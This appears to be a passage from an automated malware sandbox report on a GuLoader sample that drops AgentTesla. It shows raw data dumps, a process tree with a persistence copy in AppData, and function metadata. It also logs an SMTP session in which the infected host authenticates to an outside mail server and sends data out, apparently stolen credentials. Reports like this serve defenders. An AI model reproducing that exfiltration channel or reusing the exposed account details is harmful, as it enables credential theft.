2021-10-13 10:51:51 UTC	212	IN	Data Raw: 72 b5 74 60 b7 31 ce 3a fb e4 4e e7 2b 15 1a 03 92 ae a3 c3 54 1e 57 26 72 fb d7 e6 c2 65 e1 0b aa 40 fe b9 4e 6a 3d df b0 b4 f0 3f 8f 1f dc f1 6d ab e6 30 65 eb 05 7b 23 df 8f 5d c1 27 3a 9e b8 36 cb cf c3 42 53 7e e2 c2 97 e2 03 cb ec 8d 78 42 5c 29 eb a8 00 2f 28 75 5b 3b 08 1a 28 8f 73 8e 31 47 b0 db 2c a3 6e ee 21 bd 1f 89 63 88 73 4f aa 71 33 ea 8e c2 82 9e 73 58 e5 92 58 e2 78 e6 9e e8 c5 9d ee 7d 88 18 23 e1 6a e0 50 63 a0 4f 15 a1 3e f1 a8 7e e9 0b 48 97 3f ec 74 f0 dc a3 26 68 b4 45 af 53 d3 88 c9 16 84 87 37 5a ef c5 20 e5 86 0e 83 cc bf e8 31 d5 ea fc f4 a7 c1 9e 2b 8d 78 39 ee ff 55 cc f8 2f 55 b5 81 d5 54 19 93 d8 34 c5 f6 2d 59 dc 32 84 fe 0f 04 32 21 2d d4 c7 71 1b 2d 7a 71 6b a7 7a c5 50 19 ec a7 36 2b f5 c9 af 8b b7 b5 1a 31 ec e0 09 f2 Data Ascii: rt`1:N+TW&re@Nj=?m0e{#]':6BS~xB\)/(u[;(s1G,n!csOq3sXXx}#jPcO>~H?t&hES7Z 1+x9U/UT4-Y22!-q-zqkzP6+1
2021-10-13 10:51:51 UTC	214	IN	Data Raw: 75 44 ff ed c1 0d 2d f9 7c e6 af f2 42 10 78 dc c9 ec bb 15 a0 c7 ae 0d f5 02 81 a9 af 6b 26 2a 32 af a4 e0 72 a5 09 92 a9 70 58 3f 69 ec 8c ab d2 e0 93 2b 7a aa 33 bc c6 3f cd 7b 75 4a db 9f 87 fa b8 2c 3a f3 73 0e 8b 97 98 47 87 68 f2 03 3c d6 63 f7 e5 bb 80 3c e7 dc d0 90 f1 32 de 1c 37 4f 0b 52 20 41 97 9c c8 65 b1 dd e2 f8 06 e2 8b 50 9b 3d a6 56 ed a5 d5 07 cc cd 17 c8 0b 1c 3d cf 51 42 c0 6f 14 85 f9 2f bf b5 ad 3c e7 8c 96 c1 c5 ca fe 03 e8 71 4e 1e 30 33 fd ac 1b 18 80 e0 d6 7f 6a e7 08 2b 02 12 0f 91 1b 25 73 40 17 00 3d 6e 40 27 bf 83 7e 30 f0 ce 59 71 0b 54 95 d8 4b 2a 60 a9 a1 c5 52 ec 95 20 eb ef 13 b9 3b 0c f4 78 ac b2 35 49 8b d5 f8 ed 3c 25 4e 11 3a 5e a0 4d 0c 4a f6 4c 61 7e 23 2a 41 2e 05 9f 8f 01 9c 5f d9 aa 14 0c 6a e9 07 b9 66 5e 93 Data Ascii: uD-\|Bxk&2rpX?i+z3?{uJ,:sGh<c<27OR AeP=V=QBo/<qN03j+%s@=n@'~0YqTK`R ;x5I<%N:^MJLa~#*A._jf^
2021-10-13 10:51:51 UTC	215	IN	Data Raw: 7d a3 3e 91 c2 dd 91 47 43 fc 33 fd f6 78 e5 6b ff c4 1c 58 7d 9d 8c 71 7e d1 ff 50 70 a5 61 1b a8 33 61 92 45 f2 03 53 94 24 f7 77 f3 25 bd 34 64 b4 4c a5 49 5a cf d3 98 72 1c 70 42 88 d8 3a 6f 8a 02 90 de ac fa 31 d9 ec ef fd a4 c2 67 3c 92 f7 80 f2 e3 dd 8b f0 01 5f ba 9d ad c9 e2 84 58 ce d5 7b 1e 48 c9 21 8f e5 00 8d 8a 28 3e c1 d4 6b 84 98 60 10 71 3b df cb 6d 10 f6 2d e5 4c f8 e1 a7 84 3d 75 1c 13 ef fc 85 12 1b b8 b0 8e ae 22 96 bc f5 cd 62 04 97 23 8c b8 94 e7 23 84 28 6f 44 e9 26 83 c7 ce c6 a0 0f ee 11 b8 2a 13 54 16 8e 83 3d bb 53 04 cf 1c d3 bd c6 4c 04 4e a9 93 ee 78 92 d2 c3 5d 2b c7 f7 20 73 1f 02 e9 4f 47 5b b4 06 62 53 10 60 3d 7e 68 b2 3d 55 09 59 5b 7a 46 97 4b 58 3e d5 a4 a3 aa 45 3a 79 31 7e e8 17 7d 38 58 a2 c9 d9 8c 1a eb 7b c6 7f Data Ascii: }>GC3xkX}q~Ppa3aES$w%4dLIZrpB:o1g<_X{H!(>k`q;m-L=u"b##(oD&*T=SLNx]+ sOG[bS`=~h=UY[zFKX>E:y1~}8X{
2021-10-13 10:51:51 UTC	216	IN	Data Raw: 35 b2 50 ef be da 83 75 de 9b cc 10 19 5a c7 46 de 79 73 06 90 ee 34 1e 12 be b0 cf 83 12 79 c1 c8 ec 17 74 d1 53 0d 22 20 e9 bf 11 13 8e c8 da 76 6c f4 05 2d 0a 1c 0d 8a 29 12 75 53 1a 9e b6 71 54 18 b3 84 7b 3c 74 f9 4b 54 05 5d af d1 42 be 4b 39 85 8d 51 ec 9c 3f fd 69 b4 b2 21 8e 9c 76 ba b8 3d 50 16 48 f2 fa bd 25 52 1d 21 50 bc 51 14 5f 77 0c 73 13 c4 34 42 33 1d 84 82 9c 1c 46 9b ad 14 0e 7c 6b c4 b7 68 72 94 52 87 c5 65 04 41 05 62 a5 96 61 0c 4b 17 f9 18 8b 0d c4 ca 91 db 92 bd 5f 23 dd c3 ba 7d b7 70 38 c0 eb 9a ab da 63 ea ef da a3 dc 11 fd 7a bc 56 13 fd 7c 36 ba ac 7b fe bf 1e 86 80 74 a2 d7 47 d6 88 f9 00 59 7b 47 ae 2b 72 88 7f 78 c3 89 33 a9 d5 84 73 5a e9 75 c9 0e dc b3 79 f0 77 ac 63 27 65 2e 26 14 89 4f bf 61 78 29 96 d4 32 fd ed df ec Data Ascii: 5PuZFys4ytS" vl-)uSqT{<tKT]BK9Q?i!v=PH%R!PQ_ws4B3F\|khrReAbaK_#}p8czV\|6{tGY{G+rx3sZuywc'e.&Oax)2
2021-10-13 10:51:51 UTC	217	IN	Data Raw: 96 7d 0a f8 83 d6 d1 f0 f4 fa 23 e5 a5 25 ed a9 88 b5 89 1f 17 f0 fb 8f 3d 0e 2b 20 94 3a 95 16 0b 75 9f ec e6 84 36 09 14 9d fd aa c2 26 60 58 75 ad 83 d6 cc ca af 8a 17 06 30 ed 80 94 e0 ef 8e 35 b1 46 8c 25 15 dd b1 dc c2 e8 48 bc 9d e5 67 92 d0 1a 41 b6 26 e2 2f 6e 19 02 eb 26 48 de 7c 0d 72 de 32 78 29 ec f8 a7 bd b3 07 c4 8b 75 c3 62 44 59 30 df ab 20 5c c9 a2 f7 d5 73 fd 96 2e aa d5 b5 69 3d 92 99 a9 63 66 9e 79 4b 3f e8 07 87 f0 bd dd cd f1 68 0f 4e e9 22 b9 fb dd fc 01 fa d6 eb 56 34 cb b4 d7 24 68 94 5a 7b c0 7b 95 c0 d9 5c 06 bc 08 aa 5b fe d1 11 96 bf 94 eb e4 d1 49 42 a2 4c 3d 6a f8 ed 5e 07 54 20 a8 b0 fe cc cb 46 2c 08 7a 2a bd e7 b5 d4 c0 2f 39 da d4 32 e1 b3 d4 fd 20 4b 1c 23 6f 95 d4 12 a3 13 d5 b3 6f 62 58 6c c9 80 12 b8 07 eb e5 2c 59 Data Ascii: }#%=+ :u6&`Xu05F%HgA&/n&H\|r2x)ubDY0 \s.i=cfyK?hN"V4$hZ{{\[IBL=j^T F,z*/92 K#oobXl,Y
2021-10-13 10:51:51 UTC	219	IN	Data Raw: 65 8d 7b 0a 2e 3f 4a 21 98 8a 81 9d 88 50 5a a5 06 8f 70 63 d7 36 6c 7e 9c 43 95 44 c4 05 43 84 6a a6 b9 60 1e ca 1b 14 1d 8f 0b d1 4b 9a df a2 b9 5f d3 d4 c5 ad 69 31 d7 3f d9 6f 94 b0 cc e1 57 6b d8 b6 c8 b1 55 6d 3a 56 1d d5 75 3f af 0d 7e fd b0 11 94 98 f7 0d de 5d 4b 9d f4 02 71 73 5a b9 8a d5 83 65 f1 cf a2 12 aa de 96 66 de 47 7f d3 87 dc 95 5e fd 6e 25 c2 3c 70 bf 84 16 84 57 a7 e8 7a 24 1d cc 32 e7 f9 54 78 83 1e 01 17 c3 bd 24 6b 51 1c d6 2e 75 df f5 f4 43 cc eb 97 ad 60 fc a7 ef c0 27 55 1d b0 63 bb 2c 9c 67 6c 63 8e cf 31 65 e8 04 7d 2b da 88 cd e5 8a 23 94 2b bc 66 d5 d7 e0 17 7d d0 44 33 f9 86 8d e3 09 20 55 d5 66 e4 ab 08 30 2c 66 5c 36 00 12 39 04 37 9c 3c 5d a4 cb b0 b2 7c fe 2f ad 11 81 5e 84 60 44 b7 6e bd 20 8c a4 8c f7 6e 63 ee 83 58 Data Ascii: e{.?J!PZpc6l~CDCj`K_i1?oWkUm:Vu?~]KqsZefG^n%<pWz$2Tx$kQ.uC`'Uc,glc1e}+#+f}D3 Uf0,f\697<]\|/^`Dn ncX
2021-10-13 10:51:51 UTC	220	IN	Data Raw: 50 30 dd b9 a0 b8 c7 b3 77 2c 7b fa 94 3c 2a 31 a7 e9 d9 9e 99 aa 71 e6 7a 6b cb ea f9 87 7e f2 b5 da cf e3 e8 e3 5c 69 d3 b2 db d9 ee 81 16 c7 6b be 3a c5 ba d1 23 6a 86 da 97 c8 6b b5 c5 cb dc ea ad 88 42 55 ec 51 c4 87 3e dd e5 ec d6 4b 50 22 a0 2f e8 14 ef 59 0b 49 0e a6 b8 70 c9 c5 48 22 33 72 37 33 ef a8 da c9 0f 3d db c5 b2 09 bd da f3 28 4d 1a 2b 66 9d de 4a ab 3b 52 a1 67 77 4a ed 6c 81 00 38 eb fe f7 ad fc 56 02 fb cd cb e2 dd 18 b5 55 2c b8 f7 0c 94 bb 2d 7a 24 24 3c a2 b1 f1 f1 1c 0b 9c bc 62 5a 2e 6b e2 82 a2 c7 f2 11 9e 78 a4 21 3d 86 36 d8 6a f6 f3 d9 91 95 7b 68 27 1a f3 c6 9c 0b 9e 06 56 87 7b f3 0a 29 c4 e0 fe e7 b5 d2 3e a4 d7 1a 91 e4 23 5d 11 35 5c 0b 41 21 48 1e 8f 7f 68 b3 d3 a6 79 15 e6 f4 50 de 3c f7 51 b5 ab 9b 02 99 df da e1 59 Data Ascii: P0w,{<*1qzk~\ik:#jkBUQ>KP"/YIpH"3r73=(M+fJ;RgwJl8VU,-z$$<bZ.kx!=6j{h'V{)>#]5\A!HhyP<QY
2021-10-13 10:51:51 UTC	221	IN	Data Raw: e9 94 3f 93 10 d7 0e 10 4d 00 20 19 a1 72 95 49 52 15 a0 e7 48 9f 8d 29 00 f5 62 79 76 86 de cc ac 39 62 32 41 17 8c c9 eb c8 45 c5 ab 8a 7c d1 c6 0b 0a 5a 2f 7c d1 0b 04 90 97 55 cd 57 a4 93 43 01 1a 74 3e 6d bc f2 e1 69 25 1e a9 cb c7 11 b6 a8 00 3e 0f ce 4d 38 eb 04 c8 fe 0c 3d 50 dd 6c e3 ad 00 2d 29 7b 59 3e 08 1a 3a 0e 36 94 36 4d a5 c9 ae b2 6c e0 2f b3 11 87 7e 86 7d 41 bf 60 b1 53 8c cc 8c 96 6e 56 ee b2 58 f7 6a 64 2b ea d6 9d fd 7c 8f 0d 31 63 df e2 5e 6d ab 6f 15 b4 2f 73 11 7c fa 0b 5b 96 38 f9 65 72 65 a1 28 66 bc 42 ad 41 52 cd db 96 60 9d 30 50 e1 d0 32 67 97 0c 8d c2 b1 e6 2c db e4 f2 e1 b6 43 27 29 83 76 31 f3 f1 5c cb fd 21 5b bb 93 bc 49 17 95 d8 37 c4 f8 23 57 ce 35 81 eb 1d 85 97 20 23 c9 c9 63 99 90 68 18 79 26 d7 c3 70 18 fe 25 f7 Data Ascii: ?M rIRH)byv9b2AE\|Z/\|UWCt>mi%>M8=Pl-){Y>:66Ml/~}A`SnVXjd+\|1c^mo/s\|[8ere(fBAR`0P2g,C')v1\![I7#W5 #chy&p%

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 13, 2021 12:53:29.473244905 CEST	587	49766	116.0.120.83	192.168.11.20	220-seahorse.sfdns.net ESMTP Exim 4.94.2 #2 Wed, 13 Oct 2021 18:53:29 +0800 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Oct 13, 2021 12:53:29.473942995 CEST	49766	587	192.168.11.20	116.0.120.83	EHLO 715575
Oct 13, 2021 12:53:29.725290060 CEST	587	49766	116.0.120.83	192.168.11.20	250-seahorse.sfdns.net Hello 715575 [102.129.143.96] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPE_CONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
Oct 13, 2021 12:53:29.727109909 CEST	49766	587	192.168.11.20	116.0.120.83	AUTH login cHVyY2hhc2luZ0Bjc2VsZWdhbmNlLmNvbQ==
Oct 13, 2021 12:53:29.978435993 CEST	587	49766	116.0.120.83	192.168.11.20	334 UGFzc3dvcmQ6
Oct 13, 2021 12:53:30.238379955 CEST	587	49766	116.0.120.83	192.168.11.20	235 Authentication succeeded
Oct 13, 2021 12:53:30.238897085 CEST	49766	587	192.168.11.20	116.0.120.83	MAIL FROM:<purchasing@cselegance.com>
Oct 13, 2021 12:53:30.489656925 CEST	587	49766	116.0.120.83	192.168.11.20	250 OK
Oct 13, 2021 12:53:30.490031004 CEST	49766	587	192.168.11.20	116.0.120.83	RCPT TO:<purchasing@cselegance.com>
Oct 13, 2021 12:53:30.754192114 CEST	587	49766	116.0.120.83	192.168.11.20	250 Accepted
Oct 13, 2021 12:53:30.754550934 CEST	49766	587	192.168.11.20	116.0.120.83	DATA
Oct 13, 2021 12:53:31.005784988 CEST	587	49766	116.0.120.83	192.168.11.20	354 Enter message, ending with "." on a line by itself
Oct 13, 2021 12:53:31.007822037 CEST	49766	587	192.168.11.20	116.0.120.83	.
Oct 13, 2021 12:53:31.260649920 CEST	587	49766	116.0.120.83	192.168.11.20	250 OK id=1mabt6-000Bhk-Ds
Oct 13, 2021 12:55:07.544035912 CEST	49766	587	192.168.11.20	116.0.120.83	QUIT
Oct 13, 2021 12:55:07.796539068 CEST	587	49766	116.0.120.83	192.168.11.20	221 seahorse.sfdns.net closing connection

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: correction HAWB.exe PID: 9196 Parent PID: 8624

General

Start time:	12:50:27
Start date:	13/10/2021
Path:	C:\Users\user\Desktop\correction HAWB.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\correction HAWB.exe'
Imagebase:	0x400000
File size:	139264 bytes
MD5 hash:	A4EF1695BDDCE6530A28E0D72AE7F8C4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1536475707.0000000000770000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: RegAsm.exe PID: 5796 Parent PID: 9196

General

Start time:	12:51:11
Start date:	13/10/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\correction HAWB.exe'
Imagebase:	0x830000
File size:	65440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000C.00000002.5777190809.000000001DC81000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 6740 Parent PID: 5796

General

Start time:	12:51:11
Start date:	13/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff616d40000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: tKZVPq.exe PID: 8428 Parent PID: 4516

General

Start time:	12:52:22
Start date:	13/10/2021
Path:	C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'
Imagebase:	0x200000
File size:	65440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 8140 Parent PID: 8428

General

Start time:	12:52:22
Start date:	13/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff616d40000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: tKZVPq.exe PID: 2424 Parent PID: 4516

General

Start time:	12:52:30
Start date:	13/10/2021
Path:	C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\AppData\Roaming\tKZVPq\tKZVPq.exe'
Imagebase:	0xf00000
File size:	65440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 3520 Parent PID: 2424

General

Start time:	12:52:30
Start date:	13/10/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff616d40000
File size:	875008 bytes
MD5 hash:	81CA40085FC75BABD2C91D18AA9FFA68
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: correction HAWB.exe PID: 9196 Parent PID: 8624 correction HAWB.exeCOMMON

Executed Functions

Function 00403563, Relevance: 16.9, APIs: 1, Strings: 10, Instructions: 359memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00011000,-55F690BE,73BC8DA1,00000089), ref: 00403850

Strings

====, xrefs: 00403575
====, xrefs: 00403581
tz(, xrefs: 004038A9
====, xrefs: 0040358C
====, xrefs: 00403591
====, xrefs: 00403564
====, xrefs: 0040356A
====, xrefs: 00403587
====, xrefs: 0040357B
====, xrefs: 0040356F

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: ====$====$====$====$====$====$====$====$====$tz(
API String ID: 4275171209-1420547677
Opcode ID: ca2e7ec1c84d5a7a9dd58f32500e37e8d580c676f2cd6031689f0c02eedd24e7
Instruction ID: 259bac3390769d6dfa091b3d7a499e2efdd212936a56ab7f563e92966bd4f81d
Opcode Fuzzy Hash: ca2e7ec1c84d5a7a9dd58f32500e37e8d580c676f2cd6031689f0c02eedd24e7
Instruction Fuzzy Hash: F3817966B197000B871D98BE58D0866D5C79FEE26133AF63E221EF3365FDB9CC0A1148

Uniqueness

Uniqueness Score: -1.00%

Function 004022AE, Relevance: 6.1, APIs: 1, Strings: 1, Instructions: 3117COMMON

Download Yara Rule

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: tz(
API String ID: 0-1289494552
Opcode ID: 8944920e5da035da36c025e1bff75ab0005a430f86311fa9452e67ac358f5201
Instruction ID: 3118127183487fc68b5e5188d60b8603ec54d1dd3f0fe9bd244e432213dcfcc9
Opcode Fuzzy Hash: 8944920e5da035da36c025e1bff75ab0005a430f86311fa9452e67ac358f5201
Instruction Fuzzy Hash: FC0371137CE3C087CF164679A4A04F17FA25F9F13833DB9ED91E99A276DB7688058A04

Uniqueness

Uniqueness Score: -1.00%

Function 00401868, Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 805COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!6&*), ref: 0040186D

Strings

VB5!6&*, xrefs: 00401868

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: 1219eba53c3487b56f178b5c7a8a85be8a2b630c95b0bee34b52472a4be7de52
Instruction ID: 2bffe2e4e45737207f25fd2255f39dd798f7aa3d1cfacb69c7d9de90e51a9371
Opcode Fuzzy Hash: 1219eba53c3487b56f178b5c7a8a85be8a2b630c95b0bee34b52472a4be7de52
Instruction Fuzzy Hash: AE42CF7144E3C18FD7138B709DA66A17FB0EE1331471D05DBC8C18E1A3E22D6A6AD766

Uniqueness

Uniqueness Score: -1.00%

Function 004031AF, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 594COMMON

Download Yara Rule

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: tz(
API String ID: 0-1289494552
Opcode ID: 9a5af969a58a58a758b132eb8ad215dbf37d85d9fa11df61dd98a15ea75443c6
Instruction ID: 868fad77d9a04ed7651ac8f915c20c41abd5de34398db877e7350e82be087257
Opcode Fuzzy Hash: 9a5af969a58a58a758b132eb8ad215dbf37d85d9fa11df61dd98a15ea75443c6
Instruction Fuzzy Hash: 84D18D22B197000B871D98BE58D0966D5C79FDE26137AE53D211EF73A9FDB9CC0B1248

Uniqueness

Uniqueness Score: -1.00%

Function 00403236, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 575COMMON

Download Yara Rule

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: tz(
API String ID: 0-1289494552
Opcode ID: 063cea1919cb87820bb3c87143b367ef105547b6ab3f417798ce6a82eb58ebf6
Instruction ID: ba4b0c7865a7e31c10667549d1924b73e209016cd866f1b08b205a02de9a402d
Opcode Fuzzy Hash: 063cea1919cb87820bb3c87143b367ef105547b6ab3f417798ce6a82eb58ebf6
Instruction Fuzzy Hash: 63D16B22B197004B871D98BE54D0956D5C79FDE26133AE63D211EF33A9FDB9CD0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 00403345, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 538COMMON

Download Yara Rule

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: tz(
API String ID: 0-1289494552
Opcode ID: b975c9b8a63cef9dc931093f7e72f1dbf1a389c2e50fa7d0b32f0b335996456b
Instruction ID: ecab6f5f1eefd83ce56a85ea657fe2dee2b8f9cdf39946a38e0ca402951f9105
Opcode Fuzzy Hash: b975c9b8a63cef9dc931093f7e72f1dbf1a389c2e50fa7d0b32f0b335996456b
Instruction Fuzzy Hash: B3B16A22B197000B871D98BF59D0966D5C79FDE26137AE63E211EE33A9FDB9CC0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 004034DC, Relevance: 3.4, APIs: 1, Strings: 1, Instructions: 430memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00011000,-55F690BE,73BC8DA1,00000089), ref: 00403850

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: tz(
API String ID: 4275171209-1289494552
Opcode ID: 94c1f031bcaa482113ec3783830936cbecc8be3681e8c0b47a0d42fe3f3a1bf2
Instruction ID: 0e6cc187e3d638987c3ec246501f6d1652231752b46578a4c3114dcfc5462fce
Opcode Fuzzy Hash: 94c1f031bcaa482113ec3783830936cbecc8be3681e8c0b47a0d42fe3f3a1bf2
Instruction Fuzzy Hash: 3A917962B197000B871998BE58D0866D5C79FEE26137AF63E221EF3365FDB9CC0A1148

Uniqueness

Uniqueness Score: -1.00%

Function 00403451, Relevance: 3.4, APIs: 1, Strings: 1, Instructions: 421memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00011000,-55F690BE,73BC8DA1,00000089), ref: 00403850

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: tz(
API String ID: 4275171209-1289494552
Opcode ID: 294d9294b8921cd93758428bff8aede8185d6f229fc0302966954e609d23b7df
Instruction ID: 9311dafaec3a920cd903613205c4cd38bb0ccb6bf1f854a243a8c8ac9622d36d
Opcode Fuzzy Hash: 294d9294b8921cd93758428bff8aede8185d6f229fc0302966954e609d23b7df
Instruction Fuzzy Hash: 0DA1BD62B197004B872998BE54D0866D5C79FEF26133AE63E611DF33A5FDB9CC0B1148

Uniqueness

Uniqueness Score: -1.00%

Function 00403660, Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 343memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00011000,-55F690BE,73BC8DA1,00000089), ref: 00403850

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: tz(
API String ID: 4275171209-1289494552
Opcode ID: 55a99c5555a60cbf636d529815fbf151e803643eac5e52aca8b9a09911e70dfd
Instruction ID: 69c599cc913a0ca1d0a3533cf4f4bae43aff48c8a294955b1d6eb7206fbef1ea
Opcode Fuzzy Hash: 55a99c5555a60cbf636d529815fbf151e803643eac5e52aca8b9a09911e70dfd
Instruction Fuzzy Hash: 4361A962B197000B8B5D98BE54D0866D5C79FEE261329E63D221EE3365FDB9CC0B1248

Uniqueness

Uniqueness Score: -1.00%

Function 004035E1, Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 332memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00011000,-55F690BE,73BC8DA1,00000089), ref: 00403850

Strings

tz(, xrefs: 004038A9

Memory Dump Source

Source File: 00000000.00000002.1535930044.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1535894665.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1536085485.000000000041C000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1536118657.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocVirtual
String ID: tz(
